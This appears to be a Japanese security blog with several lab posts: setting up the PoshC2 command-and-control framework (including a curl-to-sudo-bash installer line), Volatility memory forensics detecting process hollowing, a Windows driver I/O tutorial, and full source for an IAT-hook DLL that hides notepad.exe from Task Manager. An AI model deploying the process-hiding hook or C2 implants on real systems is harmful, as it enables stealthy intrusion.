Snoozy

1.Sleep-inducing; tedious.

PoshC2を使ってみる

PoshC2を使ってみる

PoshC2とは

Python3ベースのオープンソースなC2フレームワークPoshC2を使ってみる.

github.com

PoshC2は次のような特徴を持つ.

  • ビーコン,強制終了日,ユーザー情報など高度にカスタマイズされたペイロードの作成とターゲットへのロード
  • C2プロキシ用にカスタマイズされたApacheサーバー
  • C#PowerShell,Python3などの選択可能なインプラント
  • PoshC2を介したすべてのユーザー操作のロギング
  • Docker利用による信頼性の高いクロスプラットフォーム

なおPoshC2はいくつかバージョンがあり,以下にそれぞれをまとめておく.

詳細についてはリポジトリのオーナーであるNetitudeのブログにて,PoshC2のバージョン情報が詳しく述べられている.

また各種インプラントの使用方法や実装について解説しており,ドキュメントと合わせて目を通しておくとよいだろう.

NettitudeによるPoshC2解説記事 labs.nettitude.com

公式ドキュメント poshc2.readthedocs.io

ここでは,Python3で書かれた最新のPoshC2を使用し,ターゲット端末のスクリーンショットを取得してみる.

PoshC2のインストール

KaliにPoshC2をインストールしてみる.

curlbashを使って簡単に環境構築できる.

curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bash

posh-configコマンドで,PoshC2サーバーの設定を変更できる.

適当に調整したのはBindIP,PayloadCommsHostの2点.

f:id:snoozekvn:20200423133442j:plain

PoshC2の使用

PoshC2はその使用にあたって2つの端末を使用する.

それぞれ立ち上げてみる.

posh-serviceコマンドでPoshC2サーバーが起動する.

f:id:snoozekvn:20200423133447j:plain

その後,poshコマンドで立ち上がるインプラント操作用端末からターゲットを操作することになる.

f:id:snoozekvn:20200423133451j:plain

なお,poshコマンドで求められるユーザー名はログ用のものであり任意なユーザー名を使用可能.

インプラントハンドラの使用

poshコマンド実行後,アクティブなインプラントのリストが画面上部に表示される.

f:id:snoozekvn:20200423133455j:plain

インプラント番号を入力することで,特定インプラントへコマンドを送ることができる.

また,helpコマンドを発行することで現在使用可能なコマンドやモジュールのリストが表示される.

f:id:snoozekvn:20200423133459j:plain

ターゲットホストのスクリーンショットを取得してみる

ターゲット端末のスクリーンショットを取得してみる.

適当なStagerをターゲット端末で実行し,サーバーとのコネクションを確立する.

f:id:snoozekvn:20200423133504j:plain

インプラントハンドラからget-screenshotコマンドを発行.

f:id:snoozekvn:20200423133438j:plain

サーバー側のログにダウンロード先のフォルダが表示されるので見てみるとpngが保存されたパスが表示される.

f:id:snoozekvn:20200423133512j:plain

確かにスクリーンショットが取得できた.

以上.

参考

https://readthedocs.org/projects/poshc2/downloads/pdf/stable/

Volatilityを使ってみる

Volatilityを使ってみる

メモリフォレンジックフレームワークであるVolatilityを使ってみる.

Volatilityは現在Python3で記述されたものや,Windows上でスタンドアロンで動作するexe形式が配布されているが,この記事執筆時点ではプロファイルやコマンドの対応状況の点で,Python2製が最も充実しているようにみえる.

そのため,ここではPython2製のVolatilityを使用する.

github.com

Volatility使用にあたって不明点があれば,Wikiがとても充実しているのでまずここを確認することを推奨する.

github.com

Volatilityのインストール

GitHubからVolatilityをクローンする.

git clone https://github.com/volatilityfoundation/volatility.git

外部パッケージのインストール

Volatilityの使用前に,必要な外部パッケージをインストールしておく.

プロファイルの特定やプロセスリストの取得など使用頻度の高いコマンドがDistorm3を必要とするため,事前にpipでインストールしておく.

pip2 install distorm3

yarascanコマンドやlsadumpコマンドなどはまた別のパッケージを使用するため,必要に応じてインストールすること.

Volatility Quick Start

メモリダンプを解析し始める前に,インストールしたVolatilityのプロファイルやコマンドの対応状況を確認しておくとよいだろう.

f:id:snoozekvn:20200417080851j:plain

また,コマンドの一覧や詳細はWikiのCommand Referenceが助けになるだろう.

github.com

Volatilityを使ってみる

Volatilityのコマンドの基本的な使い方は以下である.

python vol.py [plugin] -f [image] --profile=[profile] 

コマンド名,メモリダンプファイルのパス,プロファイルが必要になるが,このうちプロファイルを求めておく必要がある. ダンプファイルのプロファイルを求めるには以下のようにすればよい.

python vol.py -f [image] imageinfo

ただし,imageinfoコマンドは結果を得るまでにかなり時間がかかるため,事前にダンプファイルがどのOSのものでバージョンはいくつなのか把握しておいたほうがよいだろう.

以下は,適切なプロファイルを設定してプロセスリストを取得するpslistコマンドを試した様子.

f:id:snoozekvn:20200417080823j:plain

ProcessHollowingの検出

もう少し実践的な使用方法をやってみる.

以前の記事で作成したProcessHollowingを行うプログラムを使って,Volatilityによる不正な活動の検出をやってみる.

snoozy.hatenablog.com

ProcessHollowingを行うプログラムの動作概要は以下のようなものだった.

  • ProcessHollowing.exeプロセスが,不正なコードの注入先となる子プロセスを作成
  • 作成された子プロセスの外装は電卓プロセスだが,ProcessHollowingにより実際に動作するコードは ProcessHollowing.exeプロセスが注入したもの
  • ProcessHollowing.exeプロセスは電卓プロセスに対して,メッセージボックスをポップアップする不正なコードを注入する
  • 処理が正常に完了すると,不正なコードを模したメッセージボックスがポップアップする

以下は実際に,ProcessHollowingプロセスが電卓プロセスをHollowingし,不正なメッセージボックスが立ち上がっている様子.この状態でFTK Imagerを起動しメモリダンプを取る.

f:id:snoozekvn:20200417080831j:plain

ProcessHollowingをVolatilityを使って検出する方法は大きく以下の3パターンが知られている.

  • 不審な親子関係の検出
  • PEBとVAD構造の比較による検出
  • 不審なメモリ保護領域の検出

以下それぞれやってみる.

まずプロセスリストからgrepでProcessHollowing.exeプロセスを見つける.

f:id:snoozekvn:20200417080827j:plain

この親子関係からProcessHollowing.exeプロセスがconhost.exe, cmd.exe, calc.exeプロセスのいずれか,または全てを不正な活動に利用している可能性がある.

不審な親子関係の発見は,SANSが公開しているポスターが参考になるだろう.

https://www.sans.org/security-resources/posters/dfir-find-evil/35/download

今回は,calc.exeプロセスがhollowing対象だと分かっており,恣意的ではあるが以降calc.exeプロセスを対象に話を進める.

calc.exeプロセスに対して,PEBとVADの差異からProcessHollowingの検出を試みる.

Volatilityのdlllistコマンドは,プロセスのPEBから,そのプロセスにロードされているモジュールのリストを読み取る.このモジュールにはDLLやそのプロセス自身のEXEも含まれる.

f:id:snoozekvn:20200417080835j:plain

一方,ldrmodulesはカーネルのVADから,そのプロセスにロードされているモジュールのリストを出力する.

f:id:snoozekvn:20200417080823j:plain

ProcessHollowingが行われた場合,この結果に差異がある. 今回の例でいえばcalc.exeのイメージパスがldrmodulesでは表示されなくなる. これはProcessHollowingの内部で使用されるNtUnmapViewOfSectionAPIによるものだ.

VADは,メモリマネージャが,あるプロセスのどの仮想アドレスが予約されどの仮想アドレスが予約されていないか追跡するために使用されるツリー構造のデータ構造体だ.

プロセスがアドレス領域を予約したり予約領域を削除した場合,メモリマネージャはVADのツリー構造を更新する.

ProcessHollowingの内部で使用されるNtUnmapViewOfSectionAPIにより,VADが更新されるためこのような結果になる.

たしかに,dlllistで表示されていた電卓のイメージパスが表示されておらず,ProcessHollowingの痕跡が見つかったといえる.

次に不審なメモリ領域の検出を試みる. malfindコマンドはVADやページ保護を検査し,不正に注入されたDLLやEXEを検出する.

f:id:snoozekvn:20200417080814j:plain

実行ファイルの通常の実行において,DOSヘッダはPAGE_READONLYなメモリ属性を持つ.

malfindコマンドから得られた領域はPAGE_EXECUTE_READWRITEになっており,これは不審とみなしてよい.

hollowfindプラグインによる自動化

これら一連の処理を自動化してくれる便利なプラグインが公開されているため使ってみる.

github.com

公開されているリポジトリからクローンして,volatilityのpluginsディレクトリにコピーすればよい.

ubuntu@DESKTOP-R697JEC:~/volatility$ git clone https://github.com/monnappa22/HollowFind.git
ubuntu@DESKTOP-R697JEC:~/volatility$ cp HollowFind/hollowfind.py volatility/volatility/plugins/

以下は実際に使用してみた様子.

f:id:snoozekvn:20200417080844j:plain

確かに検知できているようだ.

不審なプロセスや注入されたコードが,どういった処理をするのかはVolatilityからは分からない. 以降はプロセスをダンプしてIDAなどで解析する段階になる.

プロセスをダンプするにはprocdumpコマンドを使えばよい.

f:id:snoozekvn:20200417080840j:plain

これをIDAに読み込ませると以下のように注入されたコードを見ることができる.

f:id:snoozekvn:20200417080847j:plain

コマンド実行の自動化

Volatilityのコマンドはものによってはかなり時間を取られるものがある.

またgrepなどで不審な部分を探していくことになるのだが,そのたびに手動でコマンドを実行していては手間である.

そこで一度すべてのコマンドを実行してファイルとして保存しておき,これをgrepなどでみていくのが得策だ.

以下はそれをやってくれるシェルスクリプト

# Full Credits to: Gabriel Pirjolescu
# https://medium.com/@gabriel.pirjolescu/demystifying-windows-malware-hunting-part-2-detecting-execution-with-volatility-1a139b194bfc

#!/usr/bin/env bash
profile="Win10x64_18362"
file="memdump.mem"
cmds=(
    #processes
    "pslist"
    "psscan"
    "pstree"
    "pstotal"
    "psxview"
#DLLs and handles
    "dlllist"
    "getsids"
    "handles"
    "filescan"
    "mutantscan"
    "cmdscan"
    "consoles"
    "scvscan"
    "cmdline"
#network
    "connections"
    "connscan"
    "sockets"
    "sockscan"
    "netscan"
)
echo "[+] File: $file"
echo "[+] Profile: $profile"
for i in "${cmds[@]}"; do
    echo "[+] Command: $i"
        vol.py --profile=$profile --output-file=$i -f $file $i
done

以上.

参考

http://dione.lib.unipi.gr/xmlui/bitstream/handle/unipi/11578/Balaoura_MTE1623.pdf?sequence=1&isAllowed=y

https://digital-forensics.sans.org/media/volatility-memory-forensics-cheat-sheet.pdf

cysinfo.com

volatilityfoundation.github.io

Buffer I/Oによるドライバとアプリケーション間のデータ転送をやってみる

Buffer I/Oによるドライバとアプリケーション間のデータ転送をやってみる

アプリケーションからI/O要求を行い,デバイスドライバにデータを転送する場合,一時的にデータを保存するためのバッファが必要になる. Windowsではデータバッファにアクセスするための3つの方法が用意されている.

  • Buffer I/O
  • Direct I/O
  • Neither I/O

ここでは,最も使用方法が単純なBuffer I/Oを使ってデバイスドライバとアプリケーション間のデータ転送をやってみる.

単純なドライバ

Visual Studioによる警告無しにコンパイル可能な,ドライバのもっとも簡単な構成は以下だろう.

#include <ntddk.h> 

 extern "C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) 
 { 
     UNREFERENCED_PARAMETER(DriverObject); 
     UNREFERENCED_PARAMETER(RegistryPath); 

     /*
     do something
     */

     return STATUS_SUCCESS;
}

デバイスドライバがシステムにロードされた時の最初のルーチンとして,DriverEntryが呼び出される.

ただし,Unload処理などを一切を記述していないため不安定であり,このまま使用するのは避けるべきだ.

またこのままではアプリケーションからこのドライバに触れることはできない.

アプリケーションからドライバにアクセスするにはシンボリックリンクを介する必要がある.

extenr "C"について補足すると,C++では関数名がそのままシンボル名になるわけではなく,引数や戻り値の型情報を付加した情報をリンカーに渡すようになっている. したがってCとC++で書かれたコードを混在させる場合,名前修飾される前の関数名をシンボルとして使用するにはこのようにすればよいということである.

バイスシンボリックリンクの作成

ドライバはWindowsカーネル空間上にロードされるため,ユーザー空間上のアプリケーションから直接アクセスすることはできない.

Windowsでは,ユーザー空間のアプリケーションがドライバを操作するのにシンボリックリンクを使用する.

まず,ドライバ側でデバイスオブジェクトと,そのデバイスオブジェクトへのシンボリックリンクを作成する.

アプリケーションは,このシンボリックリンクを読み書きすることでデバイスを操作する.

この操作に該当するコードは以下のようになる.

 // Create Device Object(Driver Instance)
    status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
    if (!NT_SUCCESS(status)) {
        DbgPrint("[+]IoCreateDeivce failed\n");
        return status;
    }
    DbgPrint("[+]IoCreateDeivce success\n");


    // Create Symblic Link
    status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
    if (!NT_SUCCESS(status)) {
        DbgPrint("[+]IoCreateSymbolicLink  failed\n");
        return status;
    }
    DbgPrint("[+]IoCreateSymbolicLink success\n");

バイスシンボリックリンクを確認するにはWinObjを使用する. 以下は,デバイスIRPTestDeviceとそのシンボリックリンクIRPTestDeviceをWinObjで見た様子.

f:id:snoozekvn:20200402083955j:plain

ディスパッチハンドラの作成

ユーザー空間のアプリケーションがデバイスにアクセスするには必ずNT ExecutiveのI/Oマネージャを通過する必要がある. アプリケーションはWindows APIを介してI/OマネージャにI/O操作を要求し,I/OマネージャがデバイスにIRP(I/O Request Packet)を送信する.

f:id:snoozekvn:20200402084004p:plain

引用元:http://www.windowsbugcheck.com/p/lets-start-with-question-what-is-driver.html

IRPはI/Oマネージャによって作成される構造体であり,そのIO_STACK_LOCATIONには関数コードが格納されている.ドライバはこの関数コードを判定し,適当なディスパッチルーチンを実行する.

必要要件ではないが,ここではIRP_MJ_DEVICE_CONTROLを除いたすべてのIRPを同一の関数へ流すことにする.

この操作に該当するコードは以下のようになる.

 // Modify IRP handler
    for (auto i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = DispatchTestFunction;
    }
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = SioctlDeviceControl;

    DbgPrint("[+]MajorFunction modified\n");

関数コードIRP_MJ_DEVICE_CONTROLを受けて呼び出されるディスパッチハンドラSioctlDeviceControlについては後述する.

Unload処理の作成

バイスオブジェクトの終了処理はシステムの安定さに不可欠だ.

シンボリックリンクの削除とデバイスオブジェクトの削除が主な内容になる.

この操作に該当するコードは以下のようになる.

void Unload(PDRIVER_OBJECT dob)
{
    UNREFERENCED_PARAMETER(dob);

    IoDeleteSymbolicLink(&SymbolicLinkName);
    DbgPrint("[-]SymbolicLink deleted\n");
    IoDeleteDevice(DeviceObject);
    DbgPrint("[-]DeviceObject deleted\n");

    DbgPrint("[-]Driver unloaded!\n");
}

アプリケーションの準備

ここまででドライバ側に必要な処理はほとんど済んだ.

次はこのドライバを操作するアプリケーションの準備だ.

アプリケーションは,カーネル空間のデバイスオブジェクトとシンボリックリンクを介して通信する必要があることは既に述べた.

これには以下のようにすればよい.

まず,シンボリックリンクをCreateFileでオープンし,そのシンボリックリンクファイルのハンドルを得る.

アプリケーション側のコードの雛形は以下のようになる.

#include<stdio.h>
#include<Windows.h>
#include <cstdlib>
#pragma comment(lib,"Kernel32.lib")        

LPCWSTR SymbolicLinkName = L"\\\\.\\IRPTestDevice";

// IRP code that will call our Buffer I/O functionality
#define DEVICE_SEND CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_WRITE_DATA)

int main()
{

    // Get device handle
    HANDLE hDevice = CreateFile(SymbolicLinkName, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-]Cannot open device\n");
        return 0;
    }

     /*
     do something
     */

    CloseHandle(hDevice);
    return 0;
}

Buffer I/Oの動作

さて,ここまでアプリケーションとデバイスオブジェクトのシンボリックリンクを介した操作方法を見てきた.

次にBuffer I/Oを見ていく.

Buffer I/Oによる動作の流れは以下のようになる.

f:id:snoozekvn:20200402083959p:plain

引用元:https://docs.microsoft.com/ja-jp/windows-hardware/drivers/kernel/using-buffered-i-o

アプリケーションからのI/O要求を受けて,I/Oマネージャはデータバッファと同じ大きさのシステムバッファを非ページプールに確保する.

ドライバはこのシステムバッファに対して種々の操作を行う.

ドライバによるバッファへの処理が終了すると,I/Oマネージャはシステムバッファの中身をアプリケーションのバッファへコピーする.

バイスからアプリケーションへのIRP送信

実際にBuffer I/Oを介したドライバとアプリケーション間のデータ転送をやってみる.

これにはDeviceIoControlを使用した制御コードの直接送信を利用する. アプリケーション側に以下のようなコードを加える.

     WCHAR message[256] = L"send sample from application";
    ULONG returnLength = 0;
    LPVOID returnBuff[256] = { 0 };

    BOOLEAN call_result = DeviceIoControl(
        hDevice,
        METHOD_BUFFERED,
        message,
        (wcslen(message) + 1) * 2,
        returnBuff,
        sizeof(returnBuff),
        &returnLength,
        0);
    printf("[+]Execute DeviceIoControl \n");

    if (!call_result) {
        printf("[-] Error sending IRP to driver: %s \n", GetLastError());
        return 0;
    }

    wprintf(L"[+]returnBuff %s\n", returnBuff);
    printf("[+]returnLength %d\n", returnLength);

DeviceIoControlを使うことで,ハンドルを持っているデバイスオブジェクトへ直接任意の制御コードを送信することができる.

バイスオブジェクトは関数コードIRP_MJ_DEVICE_CONTROLを受け取り,対応するディスパッチャへ処理が移る. このディスパッチャ内で制御コードを判定すればよいだろう.

この制御コードを受けてBuffer I/Oにとるデータ処理を行うドライバ側のコードは以下のようになる.

NTSTATUS SioctlDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    DbgPrint("[+]DispatchDeviceControl called\n");

    UNREFERENCED_PARAMETER(DeviceObject);
    PIO_STACK_LOCATION  irpSp;// Pointer to current stack location
    NTSTATUS            ntStatus = STATUS_SUCCESS;// Assume success
    ULONG               inBufLength; // Input buffer length
    ULONG               outBufLength; // Output buffer length
    PCHAR               inBuf, outBuf; // pointer to Input and output buffer
    PWCHAR               data = L"This String is from Device Driver !!!";
    size_t              datalen = (wcslen(data) + 1) * 2 ;//Length of data including null


    UNREFERENCED_PARAMETER(DeviceObject);

    PAGED_CODE(); // Causing a BSOD when code is executed in a non-pagepool

    irpSp = IoGetCurrentIrpStackLocation(Irp);
    inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;


    if (!inBufLength || !outBufLength)
    {
        ntStatus = STATUS_INVALID_PARAMETER;
        goto End;
    }

    switch (irpSp->Parameters.DeviceIoControl.IoControlCode)
    {
    case METHOD_BUFFERED:

        DbgPrint("[+]Called IOCTL_SIOCTL_METHOD_BUFFERED\n");
        PrintIrpInfo(Irp);

        inBuf = (PCHAR)Irp->AssociatedIrp.SystemBuffer;
        outBuf = (PCHAR)Irp->AssociatedIrp.SystemBuffer;

        DbgPrint("\tData from User :");
        PrintChars(inBuf, inBufLength);

        RtlCopyBytes(outBuf, data, outBufLength);
        DbgPrint("\tData to User : ");
        PrintChars(outBuf, datalen);
        Irp->IoStatus.Information = (outBufLength < datalen ? outBufLength : datalen);
        break;

    default:
        ntStatus = STATUS_INVALID_DEVICE_REQUEST;
        DbgPrint("ERROR: unrecognized IOCTL %x\n",
            irpSp->Parameters.DeviceIoControl.IoControlCode);
        break;
    }

End:
    Irp->IoStatus.Status = ntStatus;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return ntStatus;
}

ここまでの全体の流れをまとめると以下のようになる.

  1. アプリケーションが, DeviceIoControlを使用してシンボリックリンクへアクセスすることにより,I/Oマネージャがドライバに対してIRPを送信する.
  2. IRPを受信したドライバはIRPの関数コードを判定し,適切なディスパッチルーチンを呼び出す.
  3. DeviceIoControlを使用したIRPの関数コードはIRP_MJ_DEVICE_CONTROLであり,上記コードのSioctlDeviceControlへ処理が移る.
  4. SioctlDeviceControlでは制御コードを判定して処理を行う.
  5. もし制御コードがMETHOD_BUFFEREDであった場合,アプリケーションが用意したバッファと同じサイズのバッファが非ページシステムバッファに作成される.
  6. 任意の処理を行った後,この非ページシステムバッファがアプリケーション側のバッファに反映される.

デモ

www.youtube.com

コード全体は以下を参照のこと. ドライバ側で入力値検査を行っていない点に注意.

application.cpp · GitHub

以上.

参考

github.com

docs.microsoft.com

https://www-user.tu-chemnitz.de/~heha/oney_wdm/ch09d.htm

sciencepark.co.jp

https://www.youtube.com/watch?v=fjDnDZQt1l4

IAT Hookをやってみる

IAT Hookをやってみる

PEファイルフォーマットにおけるIAT(Import Address Table)は,インポートしたAPIのエントリーポイントへのアドレスが記載されるルックアップテーブルだ.

あるモジュールからエクスポートされるAPIを使用する際,実行時にIATを参照して当該モジュール内のAPIへジャンプするという処理が行われる.

したがってこのIATエントリを適切に書き換えることで,API呼び出しをフックすることができる.

本稿では,IAT書き換えによるAPIフックを行うDLLを作成し,実際にタスクマネージャプロセスから特定プロセスを隠してみる.

自プロセスのIATをフックしてみる

DLLインジェクションでリモートプロセスへ注入したDLLの詳細なデバッグは困難であるため,最初に自プロセスのIATをフックするプログラムを作成し挙動を観察した後,それをDLL化する方針を取る.

まずはWikiのサンプルコードを使用してIATフックの動作を確認する.

en.wikipedia.org

ここで筆者が確認したいことは以下の2つだ.

  • ディスク上のオフセット(すなわちRVA)からIATエントリのVAへの変換
  • IATエントリ書き換え動作の様子

最初にディスク上の実行ファイル内オフセットから,メモリ上のIATエントリのアドレスへと変換してみる.

PE-bearを使うと,MessageBoxAのアドレスを格納したIATエントリは実行ファイルの先頭からオフセット0x20158に位置することが分かる.

f:id:snoozekvn:20200327232932j:plain

さらに実行ファイルのImageBaseは以下から0x00007ff7f5fd0000だとわかる.

f:id:snoozekvn:20200327232927j:plain

ディスク上の実行ファイル内オフセットとメモリ上のIATエントリのアドレスは以下のような関係にある.

ImageBase + MessageBoxAへのアドレスを格納したIATエントリのRVA  = メモリ上のMessageBoxAへのアドレスを格納したIATエントリへのアドレス

したがって

0x00007ff7f5fd0000 + 0x20158 = 0x00007ff7f5ff0158

となる.

今,MessageBoxAへのアドレスは以下の画像により0x00007ff60f3b1e68であることが分かっている.

f:id:snoozekvn:20200327232922j:plain

実際にこの値を確認すると確かにMessageBoxAのアドレスが保持されており,メモリ上のIATのアドレスが求まったといえる.

f:id:snoozekvn:20200327235412j:plain

恣意的な感じは否めないが,ともあれメモリ上のIATエントリなどの関係性は確認できたのでよしとする.

簡易な計算で,ディスク上の実行ファイル内オフセットからメモリ上のMessageBoxAへのアドレスを保持するIATエントリのアドレスへと変換できるようになった.

さらに処理を進めると,2度目のMessageBoxAのcallで参照するIATの値が書き換わることも確認できる.

以下の画像がフック前.

f:id:snoozekvn:20200327232936j:plain

以下の画像がフック後.

f:id:snoozekvn:20200327232940j:plain

このまま処理を続けるとフック関数へとジャンプし,本来のMessageBoxAとは異なる動作をするようになった.

f:id:snoozekvn:20200327232910j:plain

以上よりIATのフック処理が正常に動作することが確認できた.

続いてIATフックにより特定プロセスを隠ぺいするDLLを作成していく.

IATフックを行うDLLを作成する

タスクマネージャなどのシステム上のプロセス一覧を表示するツールは,Ntdll.dllからエクスポートされるNtQuerySystemInformationを使用して,Windowsカーネルからプロセスリストを得ていることが知られている.

このNtQuerySystemInformationをフックして特定プロセスを隠ぺいするDLLを作成する.

#include "pch.h"
#include <stdio.h>
#include <Psapi.h>
#include <windows.h>
#include <winternl.h>

// Defines and typedefs
#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)

typedef struct _MY_SYSTEM_PROCESS_INFORMATION
{
    ULONG                   NextEntryOffset;
    ULONG                   NumberOfThreads;
    LARGE_INTEGER           Reserved[3];
    LARGE_INTEGER           CreateTime;
    LARGE_INTEGER           UserTime;
    LARGE_INTEGER           KernelTime;
    UNICODE_STRING          ImageName;
    ULONG                   BasePriority;
    HANDLE                  ProcessId;
    HANDLE                  InheritedFromProcessId;
} MY_SYSTEM_PROCESS_INFORMATION, * PMY_SYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* PNT_QUERY_SYSTEM_INFORMATION)(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID SystemInformation,
    __in       ULONG SystemInformationLength,
    __out_opt  PULONG ReturnLength
    );

PNT_QUERY_SYSTEM_INFORMATION OriginalNtQuerySystemInformation =
(PNT_QUERY_SYSTEM_INFORMATION)GetProcAddress(GetModuleHandle(L"ntdll"),
    "NtQuerySystemInformation");

// Hooked function
NTSTATUS WINAPI HookedNtQuerySystemInformation(
    __in       SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout    PVOID                    SystemInformation,
    __in       ULONG                    SystemInformationLength,
    __out_opt  PULONG                   ReturnLength
)
{
    NTSTATUS status = OriginalNtQuerySystemInformation(SystemInformationClass,
        SystemInformation,
        SystemInformationLength,
        ReturnLength);
    if (SystemProcessInformation == SystemInformationClass && STATUS_SUCCESS == status)
    {
        // Loop through the list of processes
        PMY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
        PMY_SYSTEM_PROCESS_INFORMATION pNext = (PMY_SYSTEM_PROCESS_INFORMATION)
            SystemInformation;

        do
        {
            pCurrent = pNext;
            pNext = (PMY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->
                NextEntryOffset);

            if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length))
            {
                if (!pNext->NextEntryOffset)
                {
                    pCurrent->NextEntryOffset = 0;
                }
                else
                {
                    pCurrent->NextEntryOffset += pNext->NextEntryOffset;
                }
                pNext = pCurrent;
            }
        } while (pCurrent->NextEntryOffset != 0);
    }
    return status;
}
void DetourIATptr(const char* function, void* newfunction, HMODULE module);



void** IATfind(const char* function, HMODULE module) { //Find the IAT (Import Address Table) entry specific to the given function.
    int ip = 0;
    if (module == 0)
        module = GetModuleHandle(0);
    PIMAGE_DOS_HEADER pImgDosHeaders = (PIMAGE_DOS_HEADER)module;
    PIMAGE_NT_HEADERS pImgNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pImgDosHeaders + pImgDosHeaders->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR pImgImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)pImgDosHeaders + pImgNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    if (pImgDosHeaders->e_magic != IMAGE_DOS_SIGNATURE)
        printf("libPE Error : e_magic is no valid DOS signature\n");

    for (IMAGE_IMPORT_DESCRIPTOR* iid = pImgImportDesc; iid->Name != NULL; iid++) {
        for (int funcIdx = 0; *(funcIdx + (LPVOID*)(iid->FirstThunk + (SIZE_T)module)) != NULL; funcIdx++) {
            char* modFuncName = (char*)(*(funcIdx + (SIZE_T*)(iid->OriginalFirstThunk + (SIZE_T)module)) + (SIZE_T)module + 2);
            const uintptr_t nModFuncName = (uintptr_t)modFuncName;
            bool isString = !(nModFuncName & (sizeof(nModFuncName) == 4 ? 0x80000000 : 0x8000000000000000));
            if (isString) {
                if (!_stricmp(function, modFuncName))
                    return funcIdx + (LPVOID*)(iid->FirstThunk + (SIZE_T)module);
            }
        }
    }
    return 0;
}

void DetourIATptr(const char* function, void* newfunction, HMODULE module) {
    void** funcptr = IATfind(function, module);
    if (*funcptr == newfunction)
        return;

    DWORD oldrights, newrights = PAGE_READWRITE;
    //Update the protection to READWRITE
    VirtualProtect(funcptr, sizeof(LPVOID), newrights, &oldrights);

    *funcptr = newfunction;

    //Restore the old memory protection flags.
    VirtualProtect(funcptr, sizeof(LPVOID), oldrights, &newrights);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DetourIATptr("NtQuerySystemInformation", (void*)HookedNtQuerySystemInformation, 0); //Hook the function       
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

このDLLは以下のような処理を行う.

  1. ターゲットプロセスへのロード時にDllMain内のDetourIATptrが呼ばれる
  2. DetourIATptrはIATfindを呼び出して,Taskmgr.exe内のIATからNtQuerySystemInformationのアドレスが記載されたエントリを見つける
  3. VirtualProtectを使いメモリ属性を変更した後,APIエントリをHookedNtQuerySystemInformationへのアドレスへ書き換える
  4. HookedNtQuerySystemInformationでは,オリジナルのNtQuerySystemInformationを使ってプロセスリストを取得する
  5. アクティブなプロセスのリストにnotepad.exeが見つかった場合このエントリをスキップするようリストを書き換える

デモ

実際に動かしてみる.

youtu.be

以上.

参考

inaz2.hatenablog.com

ired.team

f3real.github.io

仮想アドレスから物理アドレスを求めてみる

仮想アドレスから物理アドレスを求めてみる

本稿では,Windows10 x64システム上で動作する,4-level pagingについてみていく.

最初に4-level pagingによるアドレス変換の概要に触れた後,後半では実際にWinDbgを使ってシステム上の仮想アドレスから物理アドレスへの変換にトライしてみる.

ページング

Intel Developers Manualを参照すると,ページングの方式には大きく3種類あることが分かる.

  • 32bit paging
  • 32bit PAE paging
  • 4-level paging

レジスタに適切な値をセットすることでこれらページングのモードが変わる.

Windows10 x64システムでは通常4-level pagingが使用される.

具体的には,仮想アドレスの変換には以下のような処理を行っている.

f:id:snoozekvn:20200325103814j:plain

引用元: https://www.intel.co.jp/content/www/jp/ja/architecture-and-technology/64-ia-32-architectures-software-developer-system-programming-manual-325384.html

この図から,アドレスの変換に4つのルックアップを行うことが分かる.

  1. PML4Tから正しいPDPTエントリを見つけるためのルックアップ
  2. PDPT から正しいPDエントリを見つけるためのルックアップ
  3. PDから正しいPTEを見つけるためのルックアップ
  4. PTから正しいPhysical Addrを見つけるためのルックアップ

本稿ではこれを手計算で辿っていき,仮想アドレスから物理アドレスへの変換を体験してみる.

PTE(Page Table Entry)

本稿の主題である,仮想アドレスから物理アドレスへの変換に直接関係するわけではないが,PTEはセキュリティ等で重要であるため合わせて載せておく.

x64 ハードウェア PTEは,物理アドレス上のページに関する種々の情報を保持する.

f:id:snoozekvn:20200325111135j:plain

引用元: http://index-of.es/EBooks/NX-bit.pdf

NX bitやValid bit,Dirty bitなどはよく知られているだろう.

例えば,あるページを指すPTEのNX bitが立っていれば,そのページ内でのコード実行が許可されていないことを示し,Dirty bitが立っていれば,何らかの書き込み操作があったことを示す.

また最下位bitはデマンドページングに使用される.

対応するページアクセス時にもし最下位bitが0ならばページフォールトが発生し,システムは物理メモリへのページ割り当て処理へと移行する.

PTEに関する話はこのぐらいにして,以降では実際にWinDbgを使って仮想アドレスから物理アドレスへの変換に挑戦してみる.

WinDbgを使って手動で仮想アドレスを物理アドレスに変換する

まず事前準備としてVirtualBox上のWindows10 64bitのカーネルへ,ホストからWinDbgを使ってアタッチする.

変換対象となる仮想アドレスはなんでもよいのだが,今回は以下のようなプログラムを使って変換を行う.

// Ex1.cpp
